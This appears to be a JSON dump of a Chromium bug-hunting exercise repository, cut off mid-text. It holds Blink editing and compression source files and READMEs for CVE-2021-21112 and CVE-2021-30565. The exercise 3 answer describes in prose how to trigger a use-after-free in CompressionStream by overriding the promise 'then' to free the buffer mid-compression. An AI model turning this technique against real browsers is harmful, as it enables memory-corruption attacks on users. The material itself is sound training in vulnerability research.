InRenderedText(position);\n\n  if (layout_object->IsSVG()) {\n    // We don't consider SVG elements are contenteditable except for\n    // associated |layoutObject| returns |isText()| true,\n    // e.g. |LayoutSVGInlineText|.\n    return false;\n  }\n\n  if (IsDisplayInsideTable(anchor_node) ||\n      EditingIgnoresContent(*anchor_node)) {\n    if (!position.AtFirstEditingPositionForNode() &&\n        !position.AtLastEditingPositionForNode())\n      return false;\n    const Node* parent = Strategy::Parent(*anchor_node);\n    return parent->GetLayoutObject() &&\n           parent->GetLayoutObject()->IsSelectable();\n  }\n\n  if (anchor_node->GetDocument().documentElement() == anchor_node ||\n      anchor_node->IsDocumentNode())\n    return false;\n\n  if (!layout_object->IsSelectable())\n    return false;\n\n  if (layout_object->IsLayoutBlockFlow() ||\n      layout_object->IsFlexibleBoxIncludingNG() ||\n      layout_object->IsLayoutGrid()) {\n    if (To<LayoutBlock>(layout_object)->LogicalHeight() ||\n        anchor_node->GetDocument().body() == anchor_node) {\n      if (!HasRenderedNonAnonymousDescendantsWithHeight(layout_object))\n        return position.AtFirstEditingPositionForNode();\n      return HasEditableStyle(*anchor_node) && AtEditingBoundary(position);\n    }\n  } else {\n    return HasEditableStyle(*anchor_node) && AtEditingBoundary(position);\n  }\n\n  return false;\n}\n\nbool IsVisuallyEquivalentCandidate(const Position& position) {\n  return IsVisuallyEquivalentCandidateAlgorithm<EditingStrategy>(position);\n}\n\nbool IsVisuallyEquivalentCandidate(const PositionInFlatTree& position) {\n  return IsVisuallyEquivalentCandidateAlgorithm<EditingInFlatTreeStrategy>(\n      position);\n}\n\ntemplate <typename Strategy>\nstatic PositionTemplate<Strategy> SkipToEndOfEditingBoundary(\n    const PositionTemplate<Strategy>& pos,\n    const PositionTemplate<Strategy>& anchor) {\n  if (pos.IsNull())\n    return pos;\n\n  ContainerNode* highest_root = HighestEditableRoot(anchor);\n  ContainerNode* highest_root_of_pos = HighestEditableRoot(pos);\n\n  // Return |pos| itself if the two are from the very same editable region,\n  // or both are non-editable.\n  if (highest_root_of_pos == highest_root)\n    return pos;\n\n  // If this is not editable but |pos| has an editable root, skip to the end\n  if (!highest_root && highest_root_of_pos) {\n    return PositionTemplate<Strategy>(highest_root_of_pos,\n                                      PositionAnchorType::kAfterAnchor)\n        .ParentAnchoredEquivalent();\n  }\n\n  // That must mean that |pos| is not editable. Return the next position after\n  // |pos| that is in the same editable region as this position\n  DCHECK(highest_root);\n  return FirstEditablePositionAfterPositionInRoot(pos, *highest_root);\n}\n\ntemplate <typename Strategy>\nstatic UChar32 CharacterAfterAlgorithm(\n    const VisiblePositionTemplate<Strategy>& visible_position) {\n  DCHECK(visible_position.IsValid()) << visible_position;\n  // We canonicalize to the first of two equivalent candidates, but the second\n  // of the two candidates is the one that will be inside the text node\n  // containing the character after this visible position.\n  const PositionTemplate<Strategy> pos =\n      MostForwardCaretPosition(visible_position.DeepEquivalent());\n  if (!pos.IsOffsetInAnchor())\n    return 0;\n  auto* text_node = DynamicTo<Text>(pos.ComputeContainerNode());\n  if (!text_node)\n    return 0;\n  unsigned offset = static_cast<unsigned>(pos.OffsetInContainerNode());\n  unsigned length = text_node->length();\n  if (offset >= length)\n    return 0;\n\n  return text_node->data().CharacterStartingAt(offset);\n}\n\nUChar32 CharacterAfter(const VisiblePosition& visible_position) {\n  return CharacterAfterAlgorithm<EditingStrategy>(visible_position);\n}\n\nUChar32 CharacterAfter(const VisiblePositionInFlatTree& visible_position) {\n  return CharacterAfterAlgorithm<EditingInFlatTreeStrategy>(visible_position);\n}\n\ntemplate <typename Strategy>\nstatic UChar32 CharacterBeforeAlgorithm(\n    const VisiblePositionTemplate<Strategy>& visible_position) {\n  DCHECK(visible_position.IsValid()) << visible_position;\n  return CharacterAfter(PreviousPositionOf(visible_position));\n}\n\nUChar32 CharacterBefore(const VisiblePosition& visible_position) {\n  return CharacterBeforeAlgorithm<EditingStrategy>(visible_position);\n}\n\nUChar32 CharacterBefore(const VisiblePositionInFlatTree& visible_position) {\n  return CharacterBeforeAlgorithm<EditingInFlatTreeStrategy>(visible_position);\n}\n\ntemplate <typename Strategy>\nstatic VisiblePositionTemplate<Strategy> NextPositionOfAlgorithm(\n    const PositionWithAffinityTemplate<Strategy>& position,\n    EditingBoundaryCrossingRule rule) {\n  const VisiblePositionTemplate<Strategy> next = CreateVisiblePosition(\n      NextVisuallyDistinctCandidate(position.GetPosition()),\n      position.Affinity());\n\n  switch (rule) {\n    case kCanCrossEditingBoundary:\n      return next;\n    case kCannotCrossEditingBoundary:\n      return CreateVisiblePosition(\n          AdjustForwardPositionToAvoidCrossingEditingBoundaries(\n              next.ToPositionWithAffinity(), position.GetPosition()));\n    case kCanSkipOverEditingBoundary:\n      return CreateVisiblePosition(SkipToEndOfEditingBoundary(\n          next.DeepEquivalent(), position.GetPosition()));\n  }\n  NOTREACHED();\n  return next;\n}\n\nVisiblePosition NextPositionOf(const VisiblePosition& visible_position,\n                               EditingBoundaryCrossingRule rule) {\n  DCHECK(visible_position.IsValid()) << visible_position;\n  return NextPositionOfAlgorithm<EditingStrategy>(\n      visible_position.ToPositionWithAffinity(), rule);\n}\n\nVisiblePositionInFlatTree NextPositionOf(\n    const VisiblePositionInFlatTree& visible_position,\n    EditingBoundaryCrossingRule rule) {\n  DCHECK(visible_position.IsValid()) << visible_position;\n  return NextPositionOfAlgorithm<EditingInFlatTreeStrategy>(\n      visible_position.ToPositionWithAffinity(), rule);\n}\n\ntemplate <typename Strategy>\nstatic PositionTemplate<Strategy> SkipToStartOfEditingBoundary(\n    const PositionTemplate<Strategy>& pos,\n    const PositionTemplate<Strategy>& anchor) {\n  if (pos.IsNull())\n    return pos;\n\n  ContainerNode* highest_root = HighestEditableRoot(anchor);\n  ContainerNode* highest_root_of_pos = HighestEditableRoot(pos);\n\n  // Return |pos| itself if the two are from the very same editable region, or\n  // both are non-editable.\n  if (highest_root_of_pos == highest_root)\n    return pos;\n\n  // If this is not editable but |pos| has an editable root, skip to the start\n  if (!highest_root && highest_root_of_pos) {\n    return PreviousVisuallyDistinctCandidate(\n        PositionTemplate<Strategy>(highest_root_of_pos,\n                                   PositionAnchorType::kBeforeAnchor)\n            .ParentAnchoredEquivalent());\n  }\n\n  // That must mean that |pos| is not editable. Return the last position\n  // before |pos| that is in the same editable region as this position\n  DCHECK(highest_root);\n  return LastEditablePositionBeforePositionInRoot(pos, *highest_root);\n}\n\ntemplate <typename Strategy>\nstatic VisiblePositionTemplate<Strategy> PreviousPositionOfAlgorithm(\n    const PositionTemplate<Strategy>& position,\n    EditingBoundaryCrossingRule rule) {\n  const PositionTemplate<Strategy> prev_position =\n      PreviousVisuallyDistinctCandidate(position);\n\n  // return null visible position if there is no previous visible position\n  if (prev_position.AtStartOfTree())\n    return VisiblePositionTemplate<Strategy>();\n\n  // we should always be able to make the affinity |TextAffinity::Downstream|,\n  // because going previous from an |TextAffinity::Upstream| position can\n  // never yield another |TextAffinity::Upstream position| (unless line wrap\n  // length is 0!).\n  const VisiblePositionTemplate<Strategy> prev =\n      CreateVisiblePosition(prev_position);\n  if (prev.DeepEquivalent() == position)\n    return VisiblePositionTemplate<Strategy>();\n\n  switch (rule) {\n    case kCanCrossEditingBoundary:\n      return prev;\n    case kCannotCrossEditingBoundary:\n      return CreateVisiblePosition(\n          AdjustBackwardPositionToAvoidCrossingEditingBoundaries(\n              prev.ToPositionWithAffinity(), position));\n    case kCanSkipOverEditingBoundary:\n      return CreateVisiblePosition(\n          SkipToStartOfEditingBoundary(prev.DeepEquivalent(), position));\n  }\n\n  NOTREACHED();\n  return prev;\n}\n\nVisiblePosition PreviousPositionOf(const VisiblePosition& visible_position,\n                                   EditingBoundaryCrossingRule rule) {\n  DCHECK(visible_position.IsValid()) << visible_position;\n  return PreviousPositionOfAlgorithm<EditingStrategy>(\n      visible_position.DeepEquivalent(), rule);\n}\n\nVisiblePositionInFlatTree PreviousPositionOf(\n    const VisiblePositionInFlatTree& visible_position,\n    EditingBoundaryCrossingRule rule) {\n  DCHECK(visible_position.IsValid()) << visible_position;\n  return PreviousPositionOfAlgorithm<EditingInFlatTreeStrategy>(\n      visible_position.DeepEquivalent(), rule);\n}\n\ntemplate <typename Strategy>\nstatic EphemeralRangeTemplate<Strategy> MakeSearchRange(\n    const PositionTemplate<Strategy>& pos) {\n  Node* node = pos.ComputeContainerNode();\n  if (!node)\n    return EphemeralRangeTemplate<Strategy>();\n  Document& document = node->GetDocument();\n  if (!document.documentElement())\n    return EphemeralRangeTemplate<Strategy>();\n  Element* boundary = EnclosingBlockFlowElement(*node);\n  if (!boundary)\n    return EphemeralRangeTemplate<Strategy>();\n\n  return EphemeralRangeTemplate<Strategy>(\n      pos, PositionTemplate<Strategy>::LastPositionInNode(*boundary));\n}\n\ntemplate <typename Strategy>\nstatic PositionTemplate<Strategy> SkipWhitespaceAlgorithm(\n    const PositionTemplate<Strategy>& position) {\n  const EphemeralRangeTemplate<Strategy>& search_range =\n      MakeSearchRange(position);\n  if (search_range.IsNull())\n    return position;\n\n  CharacterIteratorAlgorithm<Strategy> char_it(\n      search_range.StartPosition(), search_range.EndPosition(),\n      TextIteratorBehavior::Builder()\n          .SetEmitsCharactersBetweenAllVisiblePositions(true)\n          .Build());\n  PositionTemplate<Strategy> runner = position;\n  // TODO(editing-dev): We should consider U+20E3, COMBINING ENCLOSING KEYCAP.\n  // When whitespace character followed by U+20E3, we should not consider\n  // it as trailing white space.\n  for (; char_it.length(); char_it.Advance(1)) {\n    UChar c = char_it.CharacterAt(0);\n    if ((!IsSpaceOrNewline(c) && c != kNoBreakSpaceCharacter) || c == '\\n')\n      return runner;\n    runner = char_it.EndPosition();\n  }\n  return runner;\n}\n\nPosition SkipWhitespace(const Position& position) {\n  return SkipWhitespaceAlgorithm(position);\n}\n\nPositionInFlatTree SkipWhitespace(const PositionInFlatTree& position) {\n  return SkipWhitespaceAlgorithm(position);\n}\n\ntemplate <typename Strategy>\nstatic Vector<FloatQuad> ComputeTextBounds(\n    const EphemeralRangeTemplate<Strategy>& range) {\n  const PositionTemplate<Strategy>& start_position = range.StartPosition();\n  const PositionTemplate<Strategy>& end_position = range.EndPosition();\n  Node* const start_container = start_position.ComputeContainerNode();\n  DCHECK(start_container);\n  Node* const end_container = end_position.ComputeContainerNode();\n  DCHECK(end_container);\n  DCHECK(!start_container->GetDocument().NeedsLayoutTreeUpdate());\n\n  Vector<FloatQuad> result;\n  for (const Node& node : range.Nodes()) {\n    LayoutObject* const layout_object = node.GetLayoutObject();\n    if (!layout_object || !layout_object->IsText())\n      continue;\n    const auto* layout_text = To<LayoutText>(layout_object);\n    unsigned start_offset =\n        node == start_container ? start_position.OffsetInContainerNode() : 0;\n    unsigned end_offset = node == end_container\n                              ? end_position.OffsetInContainerNode()\n                              : std::numeric_limits<unsigned>::max();\n    layout_text->AbsoluteQuadsForRange(result, start_offset, end_offset);\n  }\n  return result;\n}\n\ntemplate <typename Strategy>\nstatic FloatRect ComputeTextRectTemplate(\n    const EphemeralRangeTemplate<Strategy>& range) {\n  FloatRect result;\n  for (auto rect : ComputeTextBounds<Strategy>(range))\n    result.Unite(rect.BoundingBox());\n  return result;\n}\n\nIntRect ComputeTextRect(const EphemeralRange& range) {\n  return EnclosingIntRect(ComputeTextRectTemplate(range));\n}\n\nIntRect ComputeTextRect(const EphemeralRangeInFlatTree& range) {\n  return EnclosingIntRect(ComputeTextRectTemplate(range));\n}\n\nFloatRect ComputeTextFloatRect(const EphemeralRange& range) {\n  return ComputeTextRectTemplate(range);\n}\n\nIntRect FirstRectForRange(const EphemeralRange& range) {\n  DCHECK(!range.GetDocument().NeedsLayoutTreeUpdate());\n  DocumentLifecycle::DisallowTransitionScope disallow_transition(\n      range.GetDocument().Lifecycle());\n\n  LayoutUnit extra_width_to_end_of_line;\n  DCHECK(range.IsNotNull());\n\n  const PositionWithAffinity start_position(\n      CreateVisiblePosition(range.StartPosition()).DeepEquivalent(),\n      TextAffinity::kDownstream);\n  const IntRect start_caret_rect =\n      AbsoluteCaretBoundsOf(start_position, &extra_width_to_end_of_line);\n  if (start_caret_rect.IsEmpty())\n    return IntRect();\n\n  const PositionWithAffinity end_position(\n      CreateVisiblePosition(range.EndPosition()).DeepEquivalent(),\n      TextAffinity::kUpstream);\n  const IntRect end_caret_rect = AbsoluteCaretBoundsOf(end_position);\n  if (end_caret_rect.IsEmpty())\n    return IntRect();\n\n  if (start_caret_rect.Y() == end_caret_rect.Y()) {\n    // start and end are on the same line\n    return IntRect(\n        std::min(start_caret_rect.X(), end_caret_rect.X()),\n        start_caret_rect.Y(), abs(end_caret_rect.X() - start_caret_rect.X()),\n        std::max(start_caret_rect.Height(), end_caret_rect.Height()));\n  }\n\n  // start and end aren't on the same line, so go from start to the end of its\n  // line\n  return IntRect(\n      start_caret_rect.X(), start_caret_rect.Y(),\n      (start_caret_rect.Width() + extra_width_to_end_of_line).ToInt(),\n      start_caret_rect.Height());\n}\n\n}  // namespace blink\n"
  },
  {
    "path": "LEVEL_2/exercise_3/README.md",
    "content": "# Exercise 3\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\n## CVE-2021-21112\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n### Details\n\nIn level 2, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1151298\n\n</details>\n\n--------\n\n### Set environment\n\nafter you fetch chromium\n```sh\ngit reset --hard 13aa7b32816e52bf1242d073ada2c892798190e7 \n```\n\n### Related code\n\n[third_party/blink/renderer/modules/compression/deflate_transformer.cc](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/blink/renderer/modules/compression/deflate_transformer.cc)\n[third_party/blink/renderer/modules/compression/inflate_transformer.cc](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/blink/renderer/modules/compression/inflate_transformer.cc)\n\nYou can read this [doc](https://docs.google.com/document/d/1TovyqqeC3HoO0A4UUBKiCyhZlQSl7jM_F7KbWjK2Gcs/edit)  and [this](https://github.com/WICG/compression/blob/main/explainer.md) to get some info about `CompressionStreams` in chrome\n\nRead comment of [third_party/zlib/zlib.h](https://source.chromium.org/chromium/chromium/src/+/13aa7b32816e52bf1242d073ada2c892798190e7:third_party/zlib/zlib.h) to get detailed about `deflate` or `inflate`\n\n<details>\n  <summary>If you find not release operation, you can get some tips here</summary>\n\n  We can write the target data to chunk for compress by `CompressionStream('deflate').writable.getWriter().write([data])`, also we can read the compressed output.\n\n  At the end of read operation, we can set \"then\" prototype to some javascript code to free the compressing buffer. But, how can we trigger uaf? Is the compression continue after we free? When should we release it?\n\n</details>\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n  \n  I have assumed a lot of vulnerability types, but finally they all false. I find not free operation during the compression. I know the compress need allocate chunk to save data, and free some of them. But none of them exist in deflate func. Maybe it’s because I’m not familiar enough with it. In order to reduce the difficulty, I write some tips I get from author.\n\n  Author supply a method can be universally used which I said above.\n\n  If you have read the tow docs about `CompressionStreams`, you can understand the source code quickily. If chunk too large, we need divide it into multiple small to compress one by one.\n\n  As I side above, the compression operation is carried out step by step. The output can be read step by step, and at the end of every read operation, we can set \"then\" prototype to some javascript code to free the compressing buffer.\n\n  ```c++\nvoid DeflateTransformer::Deflate(const uint8_t* start,\n                                 wtf_size_t length,\n                                 IsFinished finished,\n                                 TransformStreamDefaultController* controller,\n                                 ExceptionState& exception_state) {\n  stream_.avail_in = length;\n  // Zlib treats this pointer as const, so this cast is safe.\n  stream_.next_in = const_cast<uint8_t*>(start);\n\n  do {\n    stream_.avail_out = out_buffer_.size();\n    stream_.next_out = out_buffer_.data();\n    int err = deflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH);\n    DCHECK((finished && err == Z_STREAM_END) || err == Z_OK ||\n           err == Z_BUF_ERROR);\n\n    wtf_size_t bytes = out_buffer_.size() - stream_.avail_out;   [1]\n    if (bytes) {\n      controller->enqueue(                                    [2]\n          script_state_,\n          ScriptValue::From(script_state_,\n                            DOMUint8Array::Create(out_buffer_.data(), bytes)),\n          exception_state);\n      if (exception_state.HadException()) {\n        return;\n      }\n    }\n  } while (stream_.avail_out == 0);\n}\n  ```\n  [1] calculate the remaining data needs to be compressed, and [2] call `enqueue` to compress them next time.\n\n  A part of result will output after every time compression. We can read it and after we finish the read of once compression output, `then` func trigged. After free the compressing buffer, the next time of compression will trigger uaf.\n\n\n\n  \n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_2/exercise_3/deflate_transformer.cc",
    "content": "// Copyright 2019 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"third_party/blink/renderer/modules/compression/deflate_transformer.h\"\n\n#include <string.h>\n#include <algorithm>\n#include <limits>\n\n#include \"third_party/blink/renderer/bindings/core/v8/array_buffer_or_array_buffer_view.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/script_promise.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/v8_binding_for_core.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/v8_uint8_array.h\"\n#include \"third_party/blink/renderer/core/streams/transform_stream_default_controller.h\"\n#include \"third_party/blink/renderer/core/streams/transform_stream_transformer.h\"\n#include \"third_party/blink/renderer/core/typed_arrays/array_buffer_view_helpers.h\"\n#include \"third_party/blink/renderer/modules/compression/compression_format.h\"\n#include \"third_party/blink/renderer/modules/compression/zlib_partition_alloc.h\"\n#include \"third_party/blink/renderer/platform/bindings/exception_state.h\"\n#include \"third_party/blink/renderer/platform/bindings/to_v8.h\"\n#include \"v8/include/v8.h\"\n\nnamespace blink {\n\nDeflateTransformer::DeflateTransformer(ScriptState* script_state,\n                                       CompressionFormat format,\n                                       int level)\n    : script_state_(script_state), out_buffer_(kBufferSize) {\n  DCHECK(level >= 1 && level <= 9);\n  memset(&stream_, 0, sizeof(z_stream));\n  ZlibPartitionAlloc::Configure(&stream_);\n  constexpr int kWindowBits = 15;\n  constexpr int kUseGzip = 16;\n  int err;\n  switch (format) {\n    case CompressionFormat::kDeflate:\n      err = deflateInit2(&stream_, level, Z_DEFLATED, kWindowBits, 8,\n                         Z_DEFAULT_STRATEGY);\n      break;\n    case CompressionFormat::kGzip:\n      err = deflateInit2(&stream_, level, Z_DEFLATED, kWindowBits + kUseGzip, 8,\n                         Z_DEFAULT_STRATEGY);\n      break;\n  }\n  DCHECK_EQ(Z_OK, err);\n}\n\nDeflateTransformer::~DeflateTransformer() {\n  if (!was_flush_called_) {\n    deflateEnd(&stream_);\n  }\n}\n\nScriptPromise DeflateTransformer::Transform(\n    v8::Local<v8::Value> chunk,\n    TransformStreamDefaultController* controller,\n    ExceptionState& exception_state) {\n  ArrayBufferOrArrayBufferView buffer_source;\n  V8ArrayBufferOrArrayBufferView::ToImpl(\n      script_state_->GetIsolate(), chunk, buffer_source,\n      UnionTypeConversionMode::kNotNullable, exception_state);\n  if (exception_state.HadException()) {\n    return ScriptPromise();\n  }\n  if (buffer_source.IsArrayBufferView()) {\n    const auto* view = buffer_source.GetAsArrayBufferView().View();\n    const uint8_t* start = static_cast<const uint8_t*>(view->BaseAddress());\n    size_t length = view->byteLength();\n    if (length > std::numeric_limits<wtf_size_t>::max()) {\n      exception_state.ThrowRangeError(\n          \"Buffer size exceeds maximum heap object size.\");\n      return ScriptPromise();\n    }\n    Deflate(start, static_cast<wtf_size_t>(length), IsFinished(false),\n            controller, exception_state);\n    return ScriptPromise::CastUndefined(script_state_);\n  }\n  DCHECK(buffer_source.IsArrayBuffer());\n  const auto* array_buffer = buffer_source.GetAsArrayBuffer();\n  const uint8_t* start = static_cast<const uint8_t*>(array_buffer->Data());\n  size_t length = array_buffer->ByteLength();\n  if (length > std::numeric_limits<wtf_size_t>::max()) {\n    exception_state.ThrowRangeError(\n        \"Buffer size exceeds maximum heap object size.\");\n    return ScriptPromise();\n  }\n  Deflate(start, static_cast<wtf_size_t>(length), IsFinished(false), controller,\n          exception_state);\n\n  return ScriptPromise::CastUndefined(script_state_);\n}\n\nScriptPromise DeflateTransformer::Flush(\n    TransformStreamDefaultController* controller,\n    ExceptionState& exception_state) {\n  Deflate(nullptr, 0u, IsFinished(true), controller, exception_state);\n  was_flush_called_ = true;\n  deflateEnd(&stream_);\n  out_buffer_.clear();\n\n  return ScriptPromise::CastUndefined(script_state_);\n}\n\nvoid DeflateTransformer::Deflate(const uint8_t* start,\n                                 wtf_size_t length,\n                                 IsFinished finished,\n                                 TransformStreamDefaultController* controller,\n                                 ExceptionState& exception_state) {\n  stream_.avail_in = length;\n  // Zlib treats this pointer as const, so this cast is safe.\n  stream_.next_in = const_cast<uint8_t*>(start);\n\n  do {\n    stream_.avail_out = out_buffer_.size();\n    stream_.next_out = out_buffer_.data();\n    int err = deflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH);\n    DCHECK((finished && err == Z_STREAM_END) || err == Z_OK ||\n           err == Z_BUF_ERROR);\n\n    wtf_size_t bytes = out_buffer_.size() - stream_.avail_out;\n    if (bytes) {\n      controller->enqueue(\n          script_state_,\n          ScriptValue::From(script_state_,\n                            DOMUint8Array::Create(out_buffer_.data(), bytes)),\n          exception_state);\n      if (exception_state.HadException()) {\n        return;\n      }\n    }\n  } while (stream_.avail_out == 0);\n}\n\nvoid DeflateTransformer::Trace(Visitor* visitor) const {\n  visitor->Trace(script_state_);\n  TransformStreamTransformer::Trace(visitor);\n}\n\n}  // namespace blink\n"
  },
  {
    "path": "LEVEL_2/exercise_3/inflate_transformer.cc",
    "content": "// Copyright 2019 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"third_party/blink/renderer/modules/compression/inflate_transformer.h\"\n\n#include <string.h>\n#include <algorithm>\n#include <limits>\n\n#include \"third_party/blink/renderer/bindings/core/v8/array_buffer_or_array_buffer_view.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/script_promise.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/v8_binding_for_core.h\"\n#include \"third_party/blink/renderer/bindings/core/v8/v8_uint8_array.h\"\n#include \"third_party/blink/renderer/core/streams/transform_stream_default_controller.h\"\n#include \"third_party/blink/renderer/core/streams/transform_stream_transformer.h\"\n#include \"third_party/blink/renderer/core/typed_arrays/array_buffer_view_helpers.h\"\n#include \"third_party/blink/renderer/modules/compression/compression_format.h\"\n#include \"third_party/blink/renderer/modules/compression/zlib_partition_alloc.h\"\n#include \"third_party/blink/renderer/platform/bindings/exception_state.h\"\n#include \"third_party/blink/renderer/platform/bindings/to_v8.h\"\n#include \"third_party/blink/renderer/platform/wtf/text/wtf_string.h\"\n#include \"v8/include/v8.h\"\n\nnamespace blink {\n\nInflateTransformer::InflateTransformer(ScriptState* script_state,\n                                       CompressionFormat format)\n    : script_state_(script_state), out_buffer_(kBufferSize) {\n  memset(&stream_, 0, sizeof(z_stream));\n  ZlibPartitionAlloc::Configure(&stream_);\n  constexpr int kWindowBits = 15;\n  constexpr int kUseGzip = 16;\n  int err;\n  switch (format) {\n    case CompressionFormat::kDeflate:\n      err = inflateInit2(&stream_, kWindowBits);\n      break;\n    case CompressionFormat::kGzip:\n      err = inflateInit2(&stream_, kWindowBits + kUseGzip);\n      break;\n  }\n  DCHECK_EQ(Z_OK, err);\n}\n\nInflateTransformer::~InflateTransformer() {\n  if (!was_flush_called_) {\n    inflateEnd(&stream_);\n  }\n}\n\nScriptPromise InflateTransformer::Transform(\n    v8::Local<v8::Value> chunk,\n    TransformStreamDefaultController* controller,\n    ExceptionState& exception_state) {\n  // TODO(canonmukai): Support SharedArrayBuffer.\n  ArrayBufferOrArrayBufferView buffer_source;\n  V8ArrayBufferOrArrayBufferView::ToImpl(\n      script_state_->GetIsolate(), chunk, buffer_source,\n      UnionTypeConversionMode::kNotNullable, exception_state);\n  if (exception_state.HadException()) {\n    return ScriptPromise();\n  }\n  if (buffer_source.IsArrayBufferView()) {\n    const auto* view = buffer_source.GetAsArrayBufferView().View();\n    const uint8_t* start = static_cast<const uint8_t*>(view->BaseAddress());\n    size_t length = view->byteLength();\n    if (length > std::numeric_limits<wtf_size_t>::max()) {\n      exception_state.ThrowRangeError(\n          \"Buffer size exceeds maximum heap object size.\");\n      return ScriptPromise();\n    }\n    Inflate(start, static_cast<wtf_size_t>(length), IsFinished(false),\n            controller, exception_state);\n    return ScriptPromise::CastUndefined(script_state_);\n  }\n  DCHECK(buffer_source.IsArrayBuffer());\n  const auto* array_buffer = buffer_source.GetAsArrayBuffer();\n  const uint8_t* start = static_cast<const uint8_t*>(array_buffer->Data());\n  size_t length = array_buffer->ByteLength();\n  if (length > std::numeric_limits<wtf_size_t>::max()) {\n    exception_state.ThrowRangeError(\n        \"Buffer size exceeds maximum heap object size.\");\n    return ScriptPromise();\n  }\n  Inflate(start, static_cast<wtf_size_t>(length), IsFinished(false), controller,\n          exception_state);\n\n  return ScriptPromise::CastUndefined(script_state_);\n}\n\nScriptPromise InflateTransformer::Flush(\n    TransformStreamDefaultController* controller,\n    ExceptionState& exception_state) {\n  DCHECK(!was_flush_called_);\n  Inflate(nullptr, 0u, IsFinished(true), controller, exception_state);\n  inflateEnd(&stream_);\n  was_flush_called_ = true;\n  out_buffer_.clear();\n\n  if (!reached_end_) {\n    exception_state.ThrowTypeError(\"Compressed input was truncated.\");\n  }\n\n  return ScriptPromise::CastUndefined(script_state_);\n}\n\nvoid InflateTransformer::Inflate(const uint8_t* start,\n                                 wtf_size_t length,\n                                 IsFinished finished,\n                                 TransformStreamDefaultController* controller,\n                                 ExceptionState& exception_state) {\n  if (reached_end_ && length != 0) {\n    // zlib will ignore data after the end of the stream, so we have to\n    // explicitly throw an error.\n    exception_state.ThrowTypeError(\"Junk found after end of compressed data.\");\n    return;\n  }\n\n  stream_.avail_in = length;\n  // Zlib treats this pointer as const, so this cast is safe.\n  stream_.next_in = const_cast<uint8_t*>(start);\n\n  do {\n    stream_.avail_out = out_buffer_.size();\n    stream_.next_out = out_buffer_.data();\n    const int err = inflate(&stream_, finished ? Z_FINISH : Z_NO_FLUSH);\n    if (err != Z_OK && err != Z_STREAM_END && err != Z_BUF_ERROR) {\n      DCHECK_NE(err, Z_STREAM_ERROR);\n      if (err == Z_DATA_ERROR) {\n        exception_state.ThrowTypeError(\n            String(\"The compressed data was not valid: \") + stream_.msg + \".\");\n      } else {\n        exception_state.ThrowTypeError(\"The compressed data was not valid.\");\n      }\n      return;\n    }\n\n    wtf_size_t bytes = out_buffer_.size() - stream_.avail_out;\n    if (bytes) {\n      controller->enqueue(\n          script_state_,\n          ScriptValue::From(script_state_,\n                            DOMUint8Array::Create(out_buffer_.data(), bytes)),\n          exception_state);\n      if (exception_state.HadException()) {\n        return;\n      }\n    }\n\n    if (err == Z_STREAM_END) {\n      reached_end_ = true;\n      if (stream_.next_in < start + length) {\n        exception_state.ThrowTypeError(\n            \"Junk found after end of compressed data.\");\n      }\n      return;\n    }\n  } while (stream_.avail_out == 0);\n}\n\nvoid InflateTransformer::Trace(Visitor* visitor) const {\n  visitor->Trace(script_state_);\n  TransformStreamTransformer::Trace(visitor);\n}\n\n}  // namespace blink\n"
  },
  {
    "path": "LEVEL_2/exercise_4/README.md",
    "content": "# Exercise 4\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\n## CVE-2021-30565\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n### Details\n\nIn level 2, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1210985  \n\n</details>\n\n--------\n\n### Set environment\n\nafter you fetch chromium\n```sh\ngit reset --hard e382f185aaee6d4f4a5f8762f1a1ae89bcc0d046\n```\n\n### Related code\n\n[chrome/browser/ui/tabs/tab_strip_model.cc](https://source.chromium.org/chromium/chromium/src/+/e382f185aaee6d4f4a5f8762f1a1ae89bcc0d046:chrome/browser/ui/tabs/tab_strip_model.cc)\n\nThis time we analysis [`tab`](https://www.chromium.org/user-experience/tabs), a module of chrome. You can read [this](https://www.chromium.org/developers/design-documents/tab-strip-mac) to get info of `tab strip`.\n\ntips: You can get help from [CVE-2021-30526](https://bugs.chromium.org/p/chromium/issues/detail?id=1198717) \n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  In my cognition, we can focus on `pinned tab`, because I notice this comment\n  ```c++\n// Each tab may be pinned. Pinned tabs are locked to the left side of the tab\n// strip and rendered differently (small tabs with only a favicon). The model\n// makes sure all pinned tabs are at the beginning of the tab strip. \n  ```\n  If we can make a pinned tab is not at the left side of the tab strip, what happen?\n\n  ```c++\nint TabStripModel::MoveWebContentsAt(int index,\n                                     int to_position,\n                                     bool select_after_move) {\n  to_position = ConstrainMoveIndex(to_position, IsTabPinned(index)); [1]\n\n  if (index == to_position)\n    return to_position;\n\n  MoveWebContentsAtImpl(index, to_position, select_after_move);\n  EnsureGroupContiguity(to_position);\n\n  return to_position;\n}\n======================================================\nint TabStripModel::ConstrainMoveIndex(int index, bool pinned_tab) const {\n  return pinned_tab\n             ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab() - 1) [2]\n             : base::ClampToRange(index, IndexOfFirstNonPinnedTab(),\n             